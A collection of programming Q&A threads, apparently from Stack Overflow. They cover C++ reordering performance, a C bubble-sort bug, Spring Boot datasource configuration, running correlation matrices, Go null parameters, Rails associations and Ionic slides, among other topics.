      indices[i*N+j] = i*N+j;
    }
  }
  // Find the order to sort data onto a spiral
  std::sort( indices.begin(), indices.end(),
         [&sort_order](int i, int j){
           return sort_order[i] < sort_order[j]; });
  // Invent some test data
  input = new unsigned short [N*N];
  output = new unsigned short [N*N];
  for( size_t i=0 ; i<N*N; i++){
    input[i] = i;
    output[i]= 0;
  }
  // some timing:
  bench(reorder_simple);
  bench(reorder_omp)   ;
  bench(copy_simple)   ;
  bench(copy_omp)      ;
}

   % g++ reorder.cpp -o reorder -std=c++11 -O3 -march=native -fopenmp -Wall
   % ./reorder
     reorder_simple, Time taken: 0.0179023 /s
        reorder_omp, Time taken: 0.00349932 /s
        copy_simple, Time taken: 0.00140805 /s
           copy_omp, Time taken: 0.000250205 /s

I would like to get the reorder_omp function to be closer to the speed of the copy_omp function. Detectors can run at 500 frames per second so 3.5 ms is bad in comparison to 0.25 ms.
Edit again: 21/11/2018 the code to write the function that does not compile
  //top of file
  #include <fstream>
  ...
  //just before the end:
  std::ofstream out;
  out.open("cfunc.c");
  out << "void cfunc( unsigned short * restrict input,\n" <<
         "            unsigned short * restrict output){ \n";
  for(int i=0;i<N;i++)
    for(int j=0;j<N;j++)
      out << "output[" << i*N+j << "] = input[" << indices[i*N+j] << "];\n";
  out << "}\n";
  out.close();

Testing this on a different machine I am getting compiler errors from both gcc (7.3.0) and clang (6.0.0). It compiles and runs with tcc (0.9.27) but finishes slower than the looping over the indices.

A: (comment section is too short)
I would test the following idea:

*

*Maintain reverse index table, so that naive algorithm becomes:
 for (i = 0; i<n; i++) {
   dest[index[i]] = src[i];
 }

*Instead of using naive algorithm:
2.1 Create temporary array of pairs (value, destindex)
struct pair {
  int value;
  int destindex;
};
for (i = 0; i < n; i++) {
  pairs[i] = {.value=src[i], .destindex=index[i]};
}

2.2 Use merge or quick sort to sort array of pairs by .destindex field
2.3 Copy values from array of pairs into dest array
There are no random accesses in this algorithm and thus no random access page faults. However, I am not sure that it will work better than naive algorithm because of large number of linear passes.


text:
Q: Bubblesort ignores last element I am trying to sort an array of pointers, depending on the strings they are pointing to. My implementation of bubblesort seems to ignore the last element i pass on to it.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void swap(char **a,char **b);
int main(void);

int main(void)
{
    char *ptr[1000]; //build an array of 1000 pointers
    short ptrpos = 0; //start at 0th pointer
    char input[500];
    printf("Enter strings(names), seperate by newline\nEOF(Ctrl-D) finishes the input process.\n");
    while(fgets(input,sizeof(input),stdin))
    {
        ptr[ptrpos] = malloc(strlen(input)+1);
        strcpy(ptr[ptrpos],input);
        ptrpos++;
    }
    short length = ptrpos-1;

//BEGIN BUBBLE SORT
    for(short h = 1; h < length; h++)
    {
        for(short i = 0;i < length - h; i++)
        {
            if(strcmp(ptr[i],ptr[i+1]) > 0)
                swap(&ptr[i],&ptr[i+1]);
        }
    }
//END BUBBLE SORT
    printf("\n----- Sorted List -----\n");
    for(ptrpos = 0;ptrpos <= length;ptrpos++)
        printf("%s",ptr[ptrpos]);

    return 0;
}
void swap(char **a,char **b) //swaps adresses of passed pointers
{
    char *temp = *a;
    *a = *b;
    *b = temp;
}

The output looks like this:
Enter strings(names), seperate by newline
EOF(Ctrl-D) finishes the input process.
Echo
Charlie
Foxtrot
Alpha
Golf
Bravo
Delta

----- Sorted List -----
Alpha
Bravo
Charlie
Echo
Foxtrot
Golf
Delta

Why is the last string ignored? Am I missing something obvious?

A: Numbers are just examples.
ptrpos starts counting at 0 meaning that if you have 6 elements, ptrpos is 6 after the last iteration of your while loop. When you calculate length with
short length = ptrpos-1;

you get length = 5.
Your for-loops terminate with counter < length meaning that they only count to 4 which yields 5 elements not 6.
As the real length of the array is 6, I suggest you change the mentioned line to
short length = ptrpos;

Now length would be equal to the number of elements in the array.

A: This is what is causing the issue:
short length = ptrpos-1;

//BEGIN BUBBLE SORT
for(short h = 1; h < length; h++)

Change your loops to
for(short h = 1; h <= length; h++)

Or change
for(ptrpos = 0;ptrpos <= length;ptrpos++) to
for(ptrpos = 0;ptrpos < length;ptrpos++)
and, short length = ptrpos;
As of now, the loop used for sorting is executing one lesser time than whats required. But, the loop that prints executed the expected number of times by for(ptrpos = 0;ptrpos <= length;ptrpos++).
Some more improvements that I'd do:

*

*Check if malloc returned NULL or not, then only do further access.

A: here is a working version,
i commented my modifications
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void swap(char **a,char **b);
int main(void);

int main(void)
{
    char *ptr[1000]; //build an array of 1000 pointers
    short ptrpos = 0; //start at 0th pointer
    char input[500];
    printf("Enter strings(names), seperate by newline\nEOF(Ctrl-D) finishes the input process.\n");
    while(fgets(input,sizeof(input),stdin))
    {
        ptr[ptrpos] = malloc(strlen(input)+1);
        strcpy(ptr[ptrpos],input);
        ptrpos++;
    }
    short length = ptrpos; //removed -1

//BEGIN BUBBLE SORT
    for(short h = 1; h < length; h++)
    {
        for(short i = 0;i < length - h; i++)
        {
            if(strcmp(ptr[i],ptr[i+1]) > 0)
                swap(&ptr[i],&ptr[i+1]);
        }
    }
//END BUBBLE SORT
    printf("\n----- Sorted List -----\n");
    for(ptrpos = 0;ptrpos < length;ptrpos++) // transofrmed <= in <
        printf("%s",ptr[ptrpos]);

    return 0;
}
void swap(char **a,char **b) //swaps adresses of passed pointers
{
    char *temp = *a;
    *a = *b;
    *b = temp;
}


text:
Q: Failed to determine a suitable driver class - Spring Boot- PostgreSQL I am trying to connect a Postgres DB to my Spring Boot aplication, but I get the following error:

Failed to configure a DataSource: 'url' attribute is not specified and no embedded datasource could be configured.
Reason: Failed to determine a suitable driver class

Action:
Consider the following:
If you want an embedded database (H2, HSQL or Derby), please put it on the classpath.
If you have database settings to be loaded from a particular profile you may need to activate it (no profiles are currently active).

application.yaml
datasource:
  driver-class-name: org.postgresql.Driver
  url: jdbc:postgresql://localhost:5432/my_db
  username: postgres
  password: pswrd
# JPA properties
jpa:
  hibernate:
    ddl-auto: update # When you launch the application for the first time - switch "none" at "create"
  show-sql: true
  database: my_db
  database-platform: org.hibernate.dialect.PostgreSQLDialect
  open-in-view: false
  generate-ddl: true

Project structure:

pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.5.2</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>PostgresApp</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>PostgresApp</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <java.version>11</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-jpa</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.postgresql</groupId>
            <artifactId>postgresql</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

A: You appear to be missing the spring prefix from all of the properties in your application.yaml. It should be the following:
spring:
  datasource:
    driver-class-name: org.postgresql.Driver
    url: jdbc:postgresql://localhost:5432/my_db
    username: postgres
    password: pswrd
  # JPA properties
  jpa:
    hibernate:
      ddl-auto: update # When you launch the application for the first time - switch "none" at "create"
    show-sql: true
    database: my_db
    database-platform: org.hibernate.dialect.PostgreSQLDialect
    open-in-view: false
    generate-ddl: true


text:
Q: Installing Tzinfo in gemfile using bundler As mentioned, I tried to install the eventbrite-client, but it requires tzinfo and shows the following
Bundler could not find compatible versions for gem "tzinfo":
  In Gemfile:
    eventbrite-client (>= 0) ruby depends on
      tzinfo (~> 0.3.22) ruby

    tzinfo (1.1.0)

No matter what I tried it is still the same, even a simple
gem install tzinfo

doesn't work.

A: It is mean that your version of eventbrite-client gem depends to (compatible with) with specified version of tzinfo (i.e. ~> 0.3.22) but your Rails application using tzinfo with version 1.1.0. So, you can't use two gems with different versions because it cause namespace conflict.
I recommend to create fork of eventbrite-client repository, bump tzinfo version and fix compatibility problems related to new version if they is exists. After that you can use customized version of eventbrite-client in your Rails project.


text:
Q: Move record from one data model to another with a button I have two data models, one called Requested_Allocations and another called Approved_Allocations.
I want to add an Approve button to each row of the table displaying the Requested_Allocations records. When the user clicks this button, that record is then added to Approved_Allocations and removed from Requested_Allocations.
I have set up both my data models and have added the Approve button to the Requested_Allocations table. I imagine that I need to add an OnClick Event to the button, but I'm not sure what exactly to do. Any guidance would be great!

A: It is doable by creating a new record for the Approved_Allocations model, copying fields from Requested_Allocations into it and removing the source record... but it would too inefficient/complex.
I would strongly recommend to remove one of the models and add 'Status' field for the remaining one. Then you'll be able to query Approved/Requested records with filters:
// querying requested allocations
app.datasources.Allocations.query.filters.Status._equals = 'Requested';

and change allocation status with single line of code:
// Approve button click (assuming that it shared datasource with row)
widget.datasource.item.Status = 'Approved';

You can find tons of similar code in Travel Approval and Document Approval templates.


text:
Q: What's the superclass of class Object in Java? I just wonder what is the the superclass of class Object in Java?

A: java.lang.Object doesn't have super class, and this is not an implementation of clone() method of java.lang.Object, You are looking at ArrayList#clone()

A:
I just wonder what is the the superclass of class Object in Java?

There is none.

The class Object is a superclass (§8.1.4) of all other classes.

A: There is no super class for Object, try this
    System.out.println(Object.class.getSuperclass());

it prints null

A: There is No Super class of Object class. Check out


text:
Q: RedPark TTL Cable ReadBytesData - unable to get any data I have two UILabels, info and receiving. Receiving is suppose to tell me that I am actually receiving data. However, when it does indicate that.... my info UILabel is not being updated accordingly. It sometimes works and sometimes does not work..
What is up with that?
- (id)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil
{
    self = [super initWithNibName:nibNameOrNil bundle:nibBundleOrNil];
    if (self) {
        // Custom initialization
        [super viewDidLoad];

        receiving = [[UILabel alloc] initWithFrame: CGRectMake(30,50,255,100)];
        info = [[UILabel alloc] initWithFrame: CGRectMake(30,200,255,100)];

        info.backgroundColor = [UIColor orangeColor];
        receiving.backgroundColor = [UIColor orangeColor];
//        [self.view addSubview: toggleSwitch];

        receiving.text = @"Not Receiving...";

        [self.view addSubview: info];
        [self.view addSubview: receiving];
    }
    return self;
}

- (void) startCommThread:(id)object
{

//    NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];

    // initialize RscMgr on this thread
    // so it schedules delegate callbacks for this thread

    rcsMgr = [[RscMgr alloc] init];
    [rcsMgr setDelegate:self];

    // run the run loop
    [[NSRunLoop currentRunLoop] run];

//    [pool release];
}

- (void)viewDidLoad
{
    [super viewDidLoad];

    // Create and start the comm thread.  We'll use this thread to manage the rscMgr so
    // we don't tie up the UI thread.
    if (commThread == nil)
    {
        commThread = [[NSThread alloc] initWithTarget:self
                                             selector:@selector(startCommThread:)
                                               object:nil];
        [commThread start];  // Actually create the thread
    }
}

- (void) readBytesAvailable:(UInt32)numBytes {

    receiving.text = @"Receiving...";
    NSString* str = [rcsMgr getStringFromBytesAvailable];
    if ( str ) receiving.text = @"I GOT SOMETHING!";
//    if ( numBytes ) receiving.text = numBytes;
    else receiving.text = @"Still Receiving...";
    info.text = str;

}

A: Here's my best shot at an answer, with the caveat that I've never used RedPark's cable or SDK.  My hunch is that -readBytesAvailable: is called by the RscMgr on the same background thread used to set it up. You can't use UIKit objects on background threads. You need transfer that work back to the main thread/queue something like this:
- (void)readBytesAvailable:(UInt32)numBytes
{
    NSString* str = [rcsMgr getStringFromBytesAvailable];
    dispatch_async(dispatch_get_main_queue(), ^{
        if (str) {
            receiving.text = @"I GOT SOMETHING!";
        } else {
            receiving.text = @"Still Receiving...";
        }
        info.text = str;
    });
}

Also, you should have an autorelease pool on your commThread. Why did you comment it out?


text:
Q: Running n-lag correlation matrix? Working in python, I get data at regular interval. The data contains some features, $X_1,\dots,X_p$. I am trying to get an online algorithm to build correlation matrixes. The naive approach of keeping track of the last $n$ instances of $X$ is working but rather slow.
I have found some way to get variance and covariance of the whole sample in one or two  passes, but it doesn't seems to be what I am looking for. I am looking for a way to update some current calculation with mostly the last value (and removing the oldest values) in a running manner. Example: for a running sum, you can keep track of a cumulative sum, only adding / removing one value at each time step.
Any idea how to perform that? any idea how to perform that in a vectorized way so as to get matrixes as outputs?

A: If I understand correctly, you have a sequence of observations $\{(X^t_1,\dots, X^t_p)\}_t$ and you want to compute the matrix
$$Corr(t)_{ij}=\sum_{t'=t-n+1}^t (X^{t'}_i-\mu_i^{t})(X^{t'}_j-\mu_j^{t})\left(\sum_{t'=t-n+1}^t (X_i^{t'}-\mu_i^t)^2\sum_{t'=t-n+1}^t (X^{t'}_j-\mu_j^t)^2\right)^{-1/2}$$
where $\mu_i^t=n^{-1}\sum_{t'=t-n+1}^t X^{t'}_i$ is the n-lag mean. Like I mentioned above, you can write this in terms of the lag-n covariance matrix in the usual way, so it is enough to compute the covariance $Cov(t)_{ij}=n^{-1}\sum_{t'=t-n+1}^t (X^{t'}_i-\mu_i^{t})(X^{t'}_j-\mu_j^{t})$, from which you can read off the correlations.
I think the easiest way to do it is to keep track of both the mean vector $\mu^t_i$ as well as the "uncentered covariances" $CovU(t)_{ij}=n^{-1}\sum_{t'=t-n+1}^t X^{t'}_iX^{t'}_j$. Each of these can be updated in responses to a new observation simply by adding and removing one value at a time.
Then once you have updated these values, you can read off the covariance by the formula $Cov(t)_{ij}=CovU(t)_{ij}-\mu^t_i\mu^t_j$ and likewise the correlations by $Corr(t)_{ij}=Cov(t)_{ij}/\sqrt{Cov(t)_{ii}Cov(t)_{jj}}$.
Also, depending on what you ultimately want to do, it may be worth trying an exponentially weighted moving average, rather than a hard cutoff. This has the advantage that you only have to store the previous estimate (rather than the previous estimate, as well as the previous n observations), and the update equation is considerably simpler.

A: Yes, You can compute the correlation without using the whole dataset as follows.
Let
$$
\begin{aligned}
X = x_{ij}&~ i=1,\dots,n;~j = 1,\dots,p\text{ Whole dataset}\\
X_{1j}& \implies \text{oldest observation to be removed at feature }X_j\\
X_{(+)j}&\implies \text{new observation to be added at feature }X_j\\
\mu^{(t)}_j &\implies \text{the current mean of feature }X_j\\
\sigma^{(t)}_{jk} &\implies \text{the current covariance between }X_j \text{ and } X_k\\
\end{aligned}
$$
More definitions:
Suppose
$$
\begin{aligned}
D_j =& X_{(+)j} - X_{1j}\quad \text{the difference between the new observation and the old observation}\\
E_j =& X_{(+)j} - \mu_{j}^{(t+1)}\quad \text{the difference between the new observation and the updated mean}\\
F_j = & X_{1j} - \mu_{j}^{(t+1)}\quad \text{the difference between the old observation and the updated mean}
\end{aligned}
$$
Then:
$$
\begin{aligned}
\mu_j^{(t+1)} &= \frac{1}{n}\sum_{i=1}^n X_{ij} + \frac{X_{(+)j} - X_{1j}}{n}=\mu_{j}^{(t)} + \frac{D_j}{n} \\
\end{aligned}
$$
And
$$
\begin{aligned}
\sigma_{ij}^{(t+1)} =& \frac{1}{n-1}\sum_{i=1}^n \left(X_{ij}-\mu_{j}^{(t+1)}\right)\left(X_{ik}-\mu_{k}^{(t+1)}\right) + \frac{\left(X_{(+)j} - \mu_{j}^{(t+1)}\right)\left(X_{(+)k} - \mu_{k}^{(t+1)}\right)}{n-1}-
\frac{\left(X_{1j} - \mu_{j}^{(t+1)}\right)\left(X_{1k} - \mu_{k}^{(t+1)}\right)}{n-1}\\
=& \frac{1}{n-1}\sum_{i=1}^n \left(X_{ij}-\mu_{j}^{(t)} - \frac{D_j}{n}\right)\left(X_{ik}-\mu_{k}^{(t)} - \frac{D_k}{n}\right) + \frac{E_jE_k-F_jF_k}{n-1}\\
=&\sigma_{jk}^{t} + \frac{D_jD_k}{n(n-1)} + \frac{E_jE_k-F_jF_k}{n-1}\\
\end{aligned}
$$
Thus the Updating formula in Matrix notations to be used in Python
$$
\begin{aligned}
D =&~ X_{(+)} - X_{1}\quad \text{A vector of all the feature differences} \\
\mu^{t+1} =& ~\mu^{(t)} + \frac{D}{n}\\
E =& ~X_{(+)} - \mu^{(t+1)}\\
F = & ~X_{1} -  \mu^{(t+1)}\\
\Sigma^{(t+1)} =& ~\Sigma^{(t)} + \frac{DD^\top}{n(n-1)}  + \frac{EE^\top - FF^\top}{n-1}\\
S =& \sqrt{Diag(\Sigma^{(t+1)})}\\
R^{(t+1)} = & \Sigma^{(t+1)} {\oslash} SS^\top\quad \text{where }\oslash \text{ is the elementwise division.}
\end{aligned}
$$
Python code:
Note that we do have the data, previous mean, previous variance, number of observations:
import numpy as np
#Create a fake data
np.random.seed(48)
X = np.random.normal(np.random.uniform(-20, 100, 4),
                        np.random.uniform(2,5,4), (20, 4))

n = X.shape[0]# Will never Change!! You adding one obs and removing one
mu = X.mean(0)
covar = np.cov(X.T)
corr = np.corrcoef(X.T) # Current Correlation(Not Updated Direcctly)

# Convert covariance matrix to correlation
def cov2cor(Sigma):
    S = np.sqrt(np.diag(Sigma))[:, None]
    return Sigma / S.dot(S.T)

# Function to update the mean and covariance.
def update(Xnew, Xold, mu, cov, n):
    D = (Xnew - Xold).ravel()[:, None]
    mu_new = mu.ravel()[:, None] + D/n
    E = Xnew.ravel()[:, None] - mu_new
    F = Xold.ravel()[:, None] - mu_new
    cov_new = cov + (D @ D.T/n + E @ E.T - F @ F.T)/(n-1)
    return {'mu':mu_new.ravel(), 'covar':cov_new}

new_obs = np.array([-10, 100, 50, 30])

new = update(new_obs,X[0], mu, covar, n = X.shape[0]) # X[0] is the one to be removed

updated_cor = cov2cor(new['covar'])
print(updated_cor)
#compare to

## Updated Data:
Y = np.r_[X[1:], new_obs[None, :]] # Used Y instead of X. just to keep the two different
print(np.corrcoef(Y.T))

[[ 1.          0.30645714  0.06955658 -0.22865679]
 [ 0.30645714  1.          0.51049261  0.45552015]
 [ 0.06955658  0.51049261  1.          0.6746911 ]
 [-0.22865679  0.45552015  0.6746911   1.        ]]

[[ 1.          0.30645714  0.06955658 -0.22865679]
 [ 0.30645714  1.          0.51049261  0.45552015]
 [ 0.06955658  0.51049261  1.          0.6746911 ]
 [-0.22865679  0.45552015  0.6746911   1.        ]]
```

A: Disclaimer: This is the notation taught to me by an engineering professor not a statistician.
Answer:
This is the mean over N elements:
$$ \mu_{N} = \frac{1}{N}\Sigma_{i=1}^{N} x_i$$
We can split out the last element like this:
$$ \mu_{N} = \frac{1}{N}\Sigma_{i=1}^{N-1} x_i + \frac{1}{N} x_N$$
We can re-contrive the sum term as the mean of $N-1$ elements:
$$ \mu_{N} = \left(\frac{N-1}{N}\right)\left(\frac{1}{N-1}\Sigma_{i=1}^{N-1} x_i \right) + \frac{1}{N} x_N$$
With substitution this becomes:
$$ \mu_{N} = \left(\frac{N-1}{N}\right)\left(\mu_{N-1} \right) + \frac{1}{N} x_N$$
So we have a 2-term update running mean, also called EWMA.
There is a similar definition for the variance:
$$ \sigma_{N}^2 = \frac{1}{N}\Sigma_{i=1}^{N-1} \left(x_i - \mu_{N}\right)^2   $$
We split out the last element as:
$$ \sigma_{N}^2 =  \frac{1}{N}\Sigma_{i=1}^{N} \left(x_i - \mu_{N}\right)^2 + \frac{1}{N} \left(x_N - \mu_{N}\right)^2 $$
We can then recontrive the sum over $N-1$ elements:
$$ \sigma_{N}^2 =  \frac{N-1}{N} \left( \sigma_{N-1}^2 \right) + \frac{1}{N} \left(x_N - \mu_{N}\right)^2 $$
You could extend this to multiple variables with some algebra, and it should be relatively quick to update. You will need a measure of central tendency, so you might want to use the running mean to estimate the true mean.


text:
Q: Invalid syntax when trying to define a dictionary in pyQGIS code I'm trying to run a code in which I need to use a dictionary, but the terminal acuses 'Invalid Syntax' when I try to define that dictionary. Outside of QGIS the code runs without any problems.

A: I think you are missing a closing square bracket and parenthesis on line 12


text:
Q: Restrict page path translations? we are using realurl 1.13.6 and looking forward to enable a third language. The pages have translated content and the switch works well. Since we also added translated page paths we encounter the possible duplicate content issue by google, since the same page / language is available via /nl/dutch-title/ and /nl/german-title/
The "nl" is used to set the language to dutch and the left over to determine the page. Since both paths are leading to the same page_id and the language ist set to "nl_NL" both could trigger the duplicate issue...
Is there a way to restrict realurl to only allow translated page paths matching the active language? Or redirect to the correct translation of the path?
"A": /de/german-path/ -> page id 10 de_DE content
"B": /nl/dutch-path/ -> page id 10 nl_NL content
"C": /nl/german-path/ -> redirect to "B"
In case "C" we want the path to be corrected if the path does not match the nl_NL path translation. If that is not possible a strict mode only allowing translated paths matching the active language in some way would be nice - redirecting to 404 with wrong path.
Is this handled in newer versions of realurl, maybe upgrading is all we need?
Someone already solved a similar issue?
Any help is highly appreciated.
Thank you for reading!

A: I would solve this by adding a canonical URL. That makes sure the search engines know what URLs to index and the user doesn't get a 404.
Btw search engines don't invent the URLs themselves so don't think there is a great risk that the wrong URLs are indexed.

A: Unfortunately, the page patch "cache" of RealURL 1.x is not aware of the language of the entry. Therefore, you can observe exactly the behaviour you encountered: all pages are reachable from all paths, regardless of the path's language. The language of the actual content is only determined by the value of L, which, in your case, is translated to the language prefix.
There is no way to check the language of a path entry, unfortunately, and implement the redirect you desire, unless you patch RealURL yourself.
I would thus also recommend using Frans' approach of defining a canonical URL (which is good anyways).


text:
Q: Absolute positioning on Samsung Internet It seems that Samsung Internet browser has trouble with absolute positioning.
We are currently using position: absolute; bottom: 0; inside of a relative positioned span.
(I want to place a button on top of an image).
Layout that I want
But Samsung Internet browser seems to ignore the bottom: 0 and places the button on the top border. Like this:

Website: sugargang.com;

Note: the issue only appears on physical Samsung devices using Samsung Internet browser.
It works on any other devices (with the same or any other browser.
This is my code (don't mind the {{liquid code}}, it's just a template language):

    {% render 'full_width_image' , mobile_image: hero_mobile %}

    {{ section.settings.button_text_1 | escape }}
       {{ section.settings.button_text_secondary | escape }}

Thanks a lot!
(and sorry for my english grammar)

A: Try this it looks problems due to the position relative on the span tag and it's not taking the height and width 100% due to a inline element.

        {% render 'full_width_image' , mobile_image: hero_mobile %}

        {{ section.settings.button_text_1 | escape }}
           {{ section.settings.button_text_secondary | escape }}


text:
Q: Aggregated with top 2 I have a question how to write query to show me top 2 total by num for each id and department (dep).
here is example of data:
  id    dep num
288610  101 95
334028  101 64
480492  101 61
259007  102 215
333655  102 177
369079  102 146
128672  102 103
398319  103 247
384462  103 222
448798  103 204
430841  103 133
387829  103 62

and my select
select  a.id, a.dep, COUNT(b.units) as num
from id a
  JOIN dev b ON(a.id = b.id)
where  b.units is null
group by a.id, a.dep
having COUNT(a.enota) >10
order by  a.dep, COUNT(b.units) desc

the result should be:
id  dep num
288610  101 95
334028  101 64
259007  102 215
333655  102 177
398319  103 247
384462  103 222


text:
Q: How do I pass a nil/null parameter to a stored function? The server receives a GET request which has the territory_id parameter. This parameter can be nil if the user does not need a filter by territory, or may have an integer number if the user wants to get records only for a specific territory.
Code:
func GetDataList (response http.ResponseWriter, request * http.Request) {
    params: = GetRequestParams (request.URL.Query ())
    normalID, _: = strconv.Atoi (params ["normal_id"])
    territoryId, _: = strconv.Atoi (params ["territory_id"])

    var listToCheck [] ObjectDataNormal
    query = `select * from get_list_for_predict (year: = $1, territory_in: = $2)`
    rows, err = db.Queryx (query,
        2011,
        territoryId)
    if rows! = nil {
            // code
    }
    // code
}

func GetRequestParams (values url.Values) map [string] string {
    urlValues: = make (map [string] string, len (values))
    for k, v: = range values   {
        urlValues   [k] = v [0]
    }
    return urlValues
}

The stored procedure in postgresql is designed so that if territory_in is ISNULL, then the filter for this parameter does not work, otherwise, if territory_in is equal to 5, for example, records are taken where the value in the territory field is 5.
And how to implement this on the server side?
If I put territory_id = nil in postman, I get:

ERROR: invalid input syntax for integer: "nil"

If null, then:

ERROR: invalid input syntax for integer: "null".

Also territroyID can not be equal nil. How to pass null to a function depending on user request?
In theory I can check in postages function territory_in = 0, instead of IS NULL. Since when converting a string to int(strconv.Atoi (params ["territory_id"])) territory_in it will be set to 0. But I'm wondering how to send a null parameter to a storage function in golang?
I use sqlx and pgx.

A: If you save territoryId as a *int instead of int, you can pass nil:
func strToIntPtr(s string) *int {
    i, err := strconv.Atoi(s)
    if err != nil {
        return nil
    }
    return &i
}

territoryId := strToIntPtr(params["territory_id"])

And then territoryId will be nil anytime it's not a valid int.  So they can pass nil, null, or any (or anything that's not a number) and you just treat it as null.


text:
Q: how to show to do lists and images specific to user utilizing current_user helper from devise for RoR projects? I'm creating a simple project management tool w/ to do lists and image uploads. Currently having an issue where I can't figure out how to display only the current logged in user's to do lists and images. I've tried the below in my dashboard controller:
class DashboardsController < ApplicationController
  def index
    @user = User.find(current_user.id)
    @todo_lists = @user.TodoList.all
    #@todo_lists = TodoList.find(:all, :conditions => { :user_id => current_user[:id] } )
    #@todo_list = current_user.TodoList.find(params[:id])
    #@todo_lists = TodoList.find_all_by_user_id current_user[:id]
    #@todo_lists = TodoList.all
    @paperclip_image = PaperclipImage.last
  end
end

I keep getting a no method errors: NoMethodError in DashboardsController#index
undefined method `TodoList' for #. How would you display just items specific to the logged in user? I have user ids successfully assigned to each to do list and image upload in my dev DB.
installed gem versions:
gem 'rails', '4.1.0'
gem 'sqlite3'
gem 'sass-rails', '~> 4.0.3'
gem 'uglifier', '>= 1.3.0'
gem 'coffee-rails', '~> 4.0.0'
gem 'jquery-rails'
gem 'turbolinks'
gem 'jbuilder', '~> 2.0'
gem 'sdoc', '~> 0.4.0',          group: :doc
gem 'spring',        group: :development
gem 'paperclip', '~> 4.1'
gem 'devise'

TIA!

A: With a properly configured :has_many association from user to todo_lists it should just be
current_user.todo_lists

Has Many Association
 class User < Active::Record
   has_many :todo_lists
 end

 class TodoList < Active::Record
   belongs_to :user
 end


text:
Q: How is data laid out in memory for a 3D cv::Mat containing multi-channel data? I am trying to understand how 3D data stored in memory in a cv::Mat. I have a need to operate on the underlying memory directly. I am creating a cv::Mat as below:
int dims[3] = {4, 5, 6};
cv::Mat mat = cv::Mat(3, dims, CV_8UC3);

I am accessing the first element using mat.ptr(). Is the data laid out in memory as
R0G0B0 R1G1B1 R2G2B2 ...

where R0 G0 B0 are the channels of (0, 0, 0) and R1 G1 B1 are all the channels if (0, 0, 1) and R2 G2 B2 are all the channels of (0, 0, 2) and so on?
Thanks for your help.
Dinesh


text:
Q: Ionic2 show multiple slides. Or part of it Im working with ionic2 and i wanted to use a slider for cards in my project. All the cards have images. Although ion-slides is pretty good i can´t make it work like i wanted to. I wish i could fit more than one slide in the screen at a time or part of the others at least. Like this:

So a part of the next and the last cards would be apparent. Does anyone know how to do that?
right now i have this:

import { Component } from '@angular/core';

import { NavController } from 'ionic-angular';

@Component({
  selector: 'page-page1',
  templateUrl: 'page1.html'
})
export class Page1 {
  public extraOptions;

  constructor(public navCtrl: NavController) {
    this.extraOptions = {
      slidesPerView: 3
    }
  }

}
page-page1 {
    overflow:hidden;
}

ion-content {
    overflow: hidden;
}

ion-slides {
    //height: 70%;
    //width: 30%;
}

ion-slide {
    //width: 50px;
}

ion-card {
  background-color: #652345;
}

img{
  //margin: 5%;
  //max-width: 90%;
}

.card1 {
    background-color: mediumseagreen;
}

.card2 {
    background-color: cornflowerblue;
}

.questionblock {
    background-color: transparent;
}
<ion-header>
  <ion-navbar>
    <button ion-button menuToggle>
      <ion-icon name="menu"></ion-icon>
    </button>
    <ion-title>Page One</ion-title>
  </ion-navbar>
</ion-header>

<ion-content>

 <ion-slides effect="sides" initialSlide=1 pager = true slidesPerView=2>
    <ion-slide>
        <ion-card class="card1">

            <ion-card-content>
                <ion-card-title>
                    Nine Inch Nails Live
                </ion-card-title>

Cuidador de Mascotas

            </ion-card-content>
        </ion-card>
    </ion-slide>

    <ion-slide class="questionblock">
        <ion-card class="questionblock">

            <ion-card-content>
                <ion-card-title>
                    Quesstion
                </ion-card-title>

where is the love...

            </ion-card-content>
        </ion-card>
    </ion-slide>

    <ion-slide>
        <ion-card class="card2">

            <ion-card-content>
                <ion-card-title>
                    Nine Inch Nails Live
                </ion-card-title>

Ninera con experienc...

            </ion-card-content>
        </ion-card>
    </ion-slide>

  </ion-slides>

  <button ion-button>Button</button>
</ion-content>

A: Change in Css
ion-slides {
        width: 200% !important;
        margin-left: -50% !important;
    }

Changes in HTML
<ion-slides slidesPerView= 3 spaceBetween= 16 loop=true>

A: Update Ionic 2.0.0
slidesPerView is now added to the input of ion-slides. So we can directly include it in the html itself as below
<ion-slides pager loop slidesPerView="3">
   <ion-slide>
    ...
    </ion-slide>
</ion-slides>

Ionic RC.5
Due to some changes in RC5, ion-slides are not working properly. You can try to set the slide options using variable.
Replace ion-slides in your html with below code
 <ion-slides #slider>
   ...
 </ion-slides>

Use the variable to set the slide attribute in your ts file
import { Component, ViewChild } from '@angular/core';
import { NavController, Slides } from 'ionic-angular';

@Component({
  selector: 'page-page1',
  templateUrl: 'page1.html'
})
export class page1Page {

  @ViewChild(Slides) slider: Slides;
  constructor(public navCtrl: NavController) {

  }
  ngAfterViewInit(){
    this.slider.slidesPerView = 3;
    this.slider.pager = true;
  }
}

For further details refer https://github.com/driftyco/ionic/issues/9988#issuecomment-272473892.

A: It's really easy in ionic 5, in order to show N slides per view you can put the following in your css(replace N with the number of slides per view):
.swiper-slide {
  width: calc(100% / N) !important;
}


text:
